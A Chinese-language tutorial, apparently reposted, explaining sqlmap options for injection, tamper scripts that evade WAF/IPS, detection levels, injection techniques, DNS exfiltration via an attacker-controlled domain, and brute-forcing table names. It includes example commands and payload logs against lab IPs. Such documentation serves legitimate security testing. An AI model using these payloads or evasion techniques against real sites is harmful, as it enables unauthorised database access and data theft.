六优化
这些参数可以优化 Sqlmap 的性能
1. 一键优化
参数:-o
添加此参数相当于同时添加下列三个优化参数:
- --keep-alive
- --null-connection
--threads=3 (如果没有设置一个更好的值)
这些参数具体含义见后文
2.HTTP 长连接
参数:--keep-alive
该参数让 Sqlmap 使用 HTTP 长连接该参数与 --proxy 矛盾
3.HTTP 空连接
参数:--null-connection
有一种特殊的 HTTP 请求类型可以直接获得 HTTP 响应的大小而不用获得 HTTP 响应体显然这在布尔型盲注中可以节约很大的带宽当然这一技术是需要服务器端支持的该参数与 --text-only 矛盾
4.HTTP 并发
参数:--threads
使用该参数指定 Sqlmap 可以达到的最大并发数从性能和网站承受能力两方面考虑最大并发数不要超过 10
七注入
这些参数被用于指定要测试的参数定制攻击荷载和选择篡改脚本
1. 要测试的注入点
参数:-p 和 --skip
默认情况下 Sqlmap 会测试所有 GET 参数和 POST 参数, 当 level 大于等于 2 时会测试 cookie 参数, 当 level 大于等于 3 时会测试 User-Agent 和 Referer 实际上还可以手动指定一个以逗号分隔的要测试的参数列表, 该列表中的参数不受 level 限制这就是 - p 的作用
举个例子, 若想只测试 GET 参数 id 和 User-Agent, 则可以这么写:
- p "id,user-agent"
如果不想测试某一参数则可以使用 --skip 如设置了 level 为 5 但不想测试 User-Agent 和 Referer, 则可以这么写:
--level = 5--skip = "user-agent,referer"
有时会遇到伪静态网页动态网页会明目张胆地列出参数, 如:
/user.php?id=1
显然参数是 id, 值为 1 但若是伪静态网页则可能这样写:
/user/1/
将参数隐藏在 URL 中通常情况下 Sqlmap 不会对这样的伪静态网页的参数做测试, 因为 Sqlmap 无法判断哪个是参数若想要对这样的伪静态进行测试, 只需要加上 *, 告诉 Sqlmap 哪个是伪静态参数就行, 剩下事的和 GET 参数没有什么区别如:
python sqlmap.py - u "http(s)://target.cc/user/1*/"
2. 指定数据库管理系统
参数:--dbms
dbms 是 Database Management System 的缩写默认情况下 Sqlmap 会自动检测网站使用的数据库管理系统, Sqlmap 支持以下这些数据库管理系统:
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- Firebird
- SQLite
- Sybase
- SAP MaxDB
- DB2
如果 Sqlmap 自动检测失败或是不想让 Sqlmap 进行数据库指纹检测, 可以使用参数 --dbms 手动指定数据库管理系统, 如:--dbms postgresql
对于 Mysql 和 Microsoft SQL Server 和要这样指定:
- --dbms MySQL <version>
- --dbms Microsoft SQL Server <version>
对于 MySQL 来说, 是类似这样的: 5.0 对于 Microsoft SQL Server 来说, 是类似这样的: 2005
如果在添加 --dbms 参数的同时还添加了 --fingerprint,Sqlmap 只会在指定的数据库管理系统内进行指纹识别
只有在很确定时使用 --dbms, 否则还是让 Sqlmap 自动检测更好些
3. 指定运行数据库管理系统的操作系统
参数:--os
默认情况下 Sqlmap 会自动检测运行数据库管理系统的操作系统, 目前完全支持的操作系统有:
Linux
Windows
如果很确定可以使用参数 --os 指定运行数据库管理系统的操作系统当然在只用很确定时才应该使用此参数, 否则还是让 Sqlmap 自动检测更好些
4. 生成无效参数值时强制使用大数
参数:--invalid-bignum
有时在注入测试时需要生成无效参数, 一般情况下 Sqlmap 会取已有参数 (如: id=13) 的相反数 (如: id=-13) 作为无效参数但若添加 --invalid-bignum,Sqlmap 就会取大数 (如: id=99999999) 作为无效参数
5. 生成无效参数值时强制使用逻辑操作符
参数:--invalid-logical
有时在注入测试时需要生成无效参数, 一般情况下 Sqlmap 会取已有参数 (如: id=13) 的相反数 (如: id=-13) 作为无效参数但若添加 --invalid-logical,Sqlmap 就会使用逻辑操作符 (如: id=13 AND 18=19) 作为无效参数
6. 生成无效参数值时强制使用字符串
参数:--invalid-string
有时在注入测试时需要生成无效参数, 一般情况下 Sqlmap 会取已有参数 (如: id=13) 的相反数 (如: id=-13) 作为无效参数但若添加 --invalid-logical,Sqlmap 就会使用字符串 (如: id=akewmc) 作为无效参数
7. 关闭 payload 转换
参数:--no-cast
在检索结果时 Sqlmap 会将所有输入转换为字符串类型, 若遇到空值 (NULL) 则将其替换为空白字符 这样做是为了防止如连接空值和字符串之类的任何错误发生并可以简化数据检索过程 但是有报告显示在老版本的 Mysql 中这样做会导致数据检索出现问题, 因此添加了 --no-cast 来告诉 Sqlmap 不要这样做
8. 关闭字符串编码
参数:--no-escape
有时 Sqlmap 会使用用单引号括起来的字符串值作为 payload, 如 SELECT foobar, 默认地这些值会被编码, 如上例将被编码为: SELECT CHAR(102)+CHAR(111)+CHAR(111)+CHAR(98)+CHAR(97)+CHAR(114))这样做既可以混淆视听让人一时难以洞察 payload 的内容又可以在后台服务器使用类似 magic_quote 或 mysql_real_escape_string 这样的转义函数的情况下字符串不受影响当然在某些情况下需要关闭字符串编码, 如为了缩减 payload 长度, 用户可以使用 --no-escape 来关闭字符串编码
9. 定制 payload
参数:--prefix 和 --suffix
有时只有在 payload 后添加用户指定的后缀才能注入成功另一种场景是用户已经知道查询语句怎么写的, 此时可以直接指定 payload 的前缀和后缀来完成检测和注入
一个有漏洞的源码示例如下:
query = "SELECT * FROM users WHERE id=(".$\_GET[id].") LIMIT 0, 1";
对这样的例子可以让 Sqlmap 自动检测边界范围也可以手动指出边界范围:
python sqlmap.py - u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" - p id--prefix ")"--suffix "AND (abc=abc"
最终 SQL 语句会变成:
SELECT * FROM users WHERE id=(1) <PAYLOAD> AND (abc=abc) LIMIT 0, 1
这个句子语法是正确的, payloa 也能执行
在简单的测试环境下 Sqlmap 不需要被提供定制的边界范围就能够自动检测并完成注入, 但在真实世界中某些应用可能会很复杂如嵌套 JOIN 查询, 此时就需要为 Sqlmap 指明边界范围
10. 修改注入数据
参数:--tamper
除了用 CHAR()编码字符串外 Sqlmap 没有对 payload 进行任何混淆 该参数用于对 payload 进行混淆以绕过 IPS 或 WAF 该参数后跟一个 tamper 脚本的名字 若该 tamper 脚本位于 sqlmap 的安装目录的 tamper / 目录中, 就可以省略路径和后缀名, 只写文件名 多个 tamper 脚本之间用空格隔开
在 tamper / 目录中有许多可用的 tamper 脚本 tamper 脚本的作用是对 payload 进行混淆 我们还可以自己写 tamper 脚本, 这属于 Sqlmap 的高级用法, 一个有效的 tamper 脚本如下所示:
- # 必须要导入的库
- from lib.core.enums import PRIORITY
- # 定义该 tamper 脚本的优先级
- __priority__ = PRIORITY.NORMAL
- def tamper(payload):
此处是 tamper 的说明
- retVal = payload
- # 此处是用于修改 payload 的代码
- # 返回修改后的 payload
- return retVal
下面是一个示例, 该示例的目标是 Mysql, 假定大于号空格和开头的 SELECT 是被禁止的:
python sqlmap.py -u "http://192.168.56.101:8080/ScorePrj/?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
该示例部分输出如下:
- [12:55:52] [DEBUG] cleaning up configuration parameters
- [12:55:52] [INFO] loading tamper script between
- [12:55:52] [INFO] loading tamper script randomcase
- [12:55:52] [INFO] loading tamper script space2comment
- [...]
- [12:55:53] [INFO] testing for SQL injection on GET parameter id
- [12:55:53] [INFO] testing AND boolean-based blind - WHERE or HAVING clause
- [12:55:53] [PAYLOAD] 1
- [12:55:53] [PAYLOAD] 1)/**/aNd/**/8083=4737/**/aNd/**/(4754/**/BetwEen/**/4754/**/aNd/**/4754
- [12:55:53] [PAYLOAD] 1)/**/anD/**/4962=4962/**/anD/**/(2361/**/BeTweEN/**/2361/**/anD/**/2361
- [12:55:53] [PAYLOAD] 1/**/aNd/**/9754/**/BETwEEn/**/1206/**/aNd/**/1206
- [12:55:53] [PAYLOAD] 1/**/AnD/**/4962/**/beTweEn/**/4962/**/AnD/**/4962
- [12:55:53] [PAYLOAD] 1/**/aND/**/2741/**/BetWeEn/**/9323/**/aND/**/9323--/**/Ihsa
- [12:55:53] [PAYLOAD] 1/**/anD/**/4962/**/BetweEN/**/4962/**/anD/**/4962--/**/wVUI
- [12:55:53] [PAYLOAD] 1)/**/anD/**/1694=6061/**/anD/**/(zLwu=zLwu
- [12:55:53] [PAYLOAD] 1)/**/ANd/**/4962=4962/**/ANd/**/(Dsfw=Dsfw
- [12:55:53] [PAYLOAD] 1/**/aND/**/6307=8901/**/aND/**/fKLn=fKLn
- [12:55:53] [PAYLOAD] 1/**/aNd/**/4962=4962/**/aNd/**/YFsp=YFsp
- [12:55:53] [PAYLOAD] 1%/**/anD/**/3549=6854/**/anD/**/%=
- [12:55:53] [PAYLOAD] 1%/**/aND/**/4962=4962/**/aND/**/%=
- [...]
- [12:55:54] [PAYLOAD] 1)/**/uNIoN/**/alL/**/Select/**/nuLl--/**/NRtq
- [12:55:54] [PAYLOAD] 1)/**/UnIOn/**/alL/**/sElEcT/**/nuLL,nuLL--/**/jalk
- [12:55:54] [PAYLOAD] 1)/**/Union/**/aLl/**/seLeCt/**/nuLL,nuLL,nuLL--/**/ylpg
- [...]
而若不加 tamper 脚本, 上例的部分输出为:
- [...]
- [13:00:12] [INFO] testing for SQL injection on GET parameter id
- [13:00:12] [INFO] testing AND boolean-based blind - WHERE or HAVING clause
- [13:00:12] [PAYLOAD] 1) AND 9902=5632 AND (5820=5820
- [13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (7174=7174
- [13:00:12] [PAYLOAD] 1 AND 7140=6136
- [13:00:12] [PAYLOAD] 1 AND 6711=6711
- [13:00:12] [PAYLOAD] 1 AND 1693=7532-- oqcR
- [13:00:12] [PAYLOAD] 1 AND 6711=6711-- qAPJ
- [13:00:12] [PAYLOAD] 1) AND 6904=7395 AND (xBlu=xBlu
- [13:00:12] [PAYLOAD] 1) AND 6711=6711 AND (RgoX=RgoX
- [13:00:12] [PAYLOAD] 1 AND 6469=7302 AND maCj=maCj
- [13:00:12] [PAYLOAD] 1 AND 6711=6711 AND pSYg=pSYg
- [13:00:12] [PAYLOAD] 1% AND 7516=3605 AND %=
- [13:00:12] [PAYLOAD] 1% AND 6711=6711 AND %=
- [...]
- [13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL-- mUDh
- [13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL-- QKId
- [13:00:12] [PAYLOAD] 1) UNION ALL SELECT NULL,NULL,NULL-- iwvT
- [...]
八检测
1. 检测级别
参数:--level
此参数用于指定检测级别, 有 1~5 共 5 级默认为 1, 表示做最少的检测, 相应的, 5 级表示做最多的检测 Sqlmap 使用的 payload 保存在目录 xml/payloads / 中, 是 xml 格式的, 可以自己定制节选一个 payload 如下所示:
- <test>
- <title>AND boolean-based blind - WHERE or HAVING clause (Generic comment)</title>
- <stype>1</stype>
- <level>2</level>
- <risk>1</risk>
- <clause>1</clause>
- <where>1</where>
- <vector>AND [INFERENCE]</vector>
- <request>
- <payload>AND [RANDNUM]=[RANDNUM]</payload>
- <comment>[GENERIC_SQL_COMMENT]</comment>
- </request>
- <response>
- <comparison>AND [RANDNUM]=[RANDNUM1]</comparison>
- </response>
- </test>
在上例中可以看到有 level 标签, 其值为 2, 该 payload 在检测级别大于等于 2 时被使用 risk 标签的含义见后文
检测级别不仅会影响 payload 的使用, 还会影响注入点的检测, GET 和 POST 参数是一直会被检测的, 检测级别大于等于 2 时会检测 cookie 是否有注入, 检测级别大于等于 3 时会检测 User-Agent 和 Referer 是否有注入
若不是很清楚注入点在哪里可以设置一个比较高的检测级别
强烈建议在向 Sqlmap 官方报告一个明确存在的注入漏洞检测不出来前先把检测级别调高试试
2. 风险等级
参数:--risk
此参数用于指定风险等级, 有 1~4 共 4 级默认风险等级为 1, 此等级在大多数情况下对测试目标无害 风险等级 2 添加了基于时间的注入测试, 等级 3 添加了 OR 测试
若注入点是在 UPDATE 语句中, 使用 OR 测试可能会修改整个表的数据, 这显然不是攻击者想要看到的 因此用户需要能控制风险等级避开有潜在风险的 payload
3. 页面对比
参数:--string--not-string--regexp
默认情况下在布尔型注入中 Sqlmap 通过比较返回页面内容来判断 True 或 False 但有时页面每次刷新都会不同, 如页面中有动态广告 Sqlmap 会尽力判断出页面中动态的部分来, 但并不总能成功 用户可以用参数 --string 指出代表 True 的页面会包含而代表 False 的页面不会包含的字符串以供 Sqlmap 判断 True 或 False, 若这样的字符串是变动的还可以用参数 --regexp 指定一个正则表达式去匹配这样的字符串 或者用参数 --not-string 指出代表 False 的页面会包含而代表 True 的页面不会包含的字符串
参数:--code
或者更简单地, 若是用户知道代表 True 的页面 HTTP 状态码为 200 而代表 False 的页面 HTTP 状态码不为 200 比如是 401, 可以用 --code 参数告诉告诉 Sqlmap 这一信息, 如 --code=200
参数:--titles
若是用户知道代表 True 的页面 title 和代表 False 的页面 title 不同, 如代表 True 的页面 title 为 Welcome, 代表 False 的页面 title 为 Forbidden, 就可以使用参数 --titles 让 Sqlmap 依据 title 来判断 True 或 False
参数:--text-only
若是 HTTP 响应体中有许多诸如 JavaScript 之类的活动内容, 可以使用参数 --text-only 让 Sqlmap 只专注于纯文本内容
九注入技术
这些参数用于对特定的 SQL 注入技术进行调整
1. 检测时所用技术
参数:--technique
此参数用于指定检测注入时所用技术默认情况下 Sqlmap 会使用自己支持的全部技术进行检测 此参数后跟表示检测技术的大写字母, 其值为 BEUST 或 Q, 含义如下:
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
可以用 --technique ES 来指定使用两种检测技术 --technique BEUSTQ 与默认情况等效
想要访问文件系统或是 Windows 的注册表就一定要添加 S 进行多语句查询注入测试
2. 基于时间延迟注入中延时设置
参数:--time-sec
用此参数设置基于时间延迟注入中延时时长, 默认为 5 秒
3. 联合查询注入中列数设置
参数:--union-cols
在进行联合查询注入时, Sqlmap 会自动检测列数, 范围是 1 到 10 当 level 值较高时列数检测范围的上限会扩大到 50
可以用此参数指定列数检测范围, 如 --union-cols 12-16 就会让 Sqlmap 的列数检测范围变成 12 到 16
4. 联合查询注入中字符设置
参数:--union-char
默认情况下 Sqlmap 进行联合查询注入时使用空字符 (NULL) 但当 level 值较高时 Sqlmap 会生成随机数用于联合查询注入 因为有时使用空字符注入会失败而使用随机数会成功
使用此参数可以指定联合查询注入中使用的字符, 如:--union-char 123
联合查询注入中使用的字符究竟是什么意思呢? 请看下面两个例子:
第一个例子, 不使用 --union-char, 默认情况下联合查询注入中使用的字符为空字符(NULL):
python sqlmap.py - u "http://192.168.56.101/user.php?id=001"--technique U - v 3
部分输出为:
- [10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,CONCAT(0x71707a6271,0x66546c7770497458576f6455476761654654745744684c5062585971794c556d55454a6c49525675,0x7162767671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- FAcV
- [10:59:15] [PAYLOAD] 001 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a6271,0x6b43674e76687959526b6452627255787373675a6f5a436f7266756d49424547496d506779456170,0x7162767671),NULL,NULL,NULL,NULL,NULL-- caXD
第一个例子, 使用 --union-char 123, 指定联合查询注入中使用的字符为 123:
python sqlmap.py - u "http://192.168.56.101/user.php?id=001"--technique U - v 3--union - char 123
部分输出为:
- [10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x776c71686e54726659424b49616d68756e64734d45774c4c7163494345794255784557597a484244,0x7178627071)-- aUXO
- [10:59:30] [PAYLOAD] 001 UNION ALL SELECT 123,123,123,123,123,123,123,123,123,123,CONCAT(0x716b707171,0x6f5278444767675156496c724563714e6568634c6b5950646a6f4e53516b776d77474e7141425273,0x7178627071),123-- lPHb
仔细观察上示两例的输出就能明白联合查询注入中使用的字符就是 UNION ALL SELECT XXX, XXX 中的 XXX
5. 联合查询注入中表名设置
参数:--union-from
有些情况下在联合查询中必须指定一个有效和可访问的表名, 否则联合查询会执行失败, 如在微软的 Access 中 (也就是说, 某些 DBMS 不支持 SELECT 1,2; 这样的语句, SELECT 必须有 FROM) 用此参数指定这个表名, 如:--union-from=users
6.DNS 泄露攻击
参数:--dns-domain
SQL 注入中的 DNS 泄露攻击详情见论文 Data Retrieval over DNS in SQL Injection Attacks
假设攻击者控制着某域名 (例如: attacker.com) 的域名解析服务器, 即查询该域名的子域名对应的 IP 地址都会到这台域名解析服务器来查询 这时攻击者就可以使用 --dns-domain attacker.com 来进行 DNS 泄露攻击
实际上若是攻击者没有控制任何一台域名解析服务器, 那么她可以注册一个新域名, 再自己搭建一台域名解析服务器用于接受数据
7. 二阶注入攻击
参数:--second-order
有时注入结果显示在别的页面, 此时需要用此参数指明显示注入结果的页面, 该参数后跟一个 URL
十指纹
默认地 Sqlmap 会自动对注入目标进行数据库管理系统指纹识别
参数:-f 或 --fingerprint
若想执行更广泛的数据库管理系统指纹识别可以添加此参数
参数:-b 或 --banner
若想得到更精确的指纹识别结果可以添加此参数, 详情见后文
十一暴力破解
1. 暴力破解表名
参数:--common-tables
有些情况下用 --tables 不能列出数据库中表名来, 如:
版本小于 5.0 的 MySQL 没有 information_schema 表
微软 Access 的 MSysObjects 表默认不可读
数据库用户权限过低无法读取表名
当无法读出表名时可以使用参数 --common-tables 暴力破解表名, 该参数使用的字典是 txt/common-tables.txt, 其中存储了常见表名, 可以手动编辑该文件
2. 暴力破解列名
参数:--common-columns
有些情况下用 --columns 不能列出数据表中列名来, 如:
版本小于 5.0 的 MySQL 没有 information_schema 表
微软 Access 的 MSysObjects 表默认不可读
数据库用户权限过低无法读取列名
当无法读出列名时可以使用参数 --common-columns 暴力破解列名, 该参数使用的字典是 txt/common-columns.txt, 其中存储了常见列名, 可以手动编辑该文件
来源: http://www.bubuko.com/infodetail-2497172.html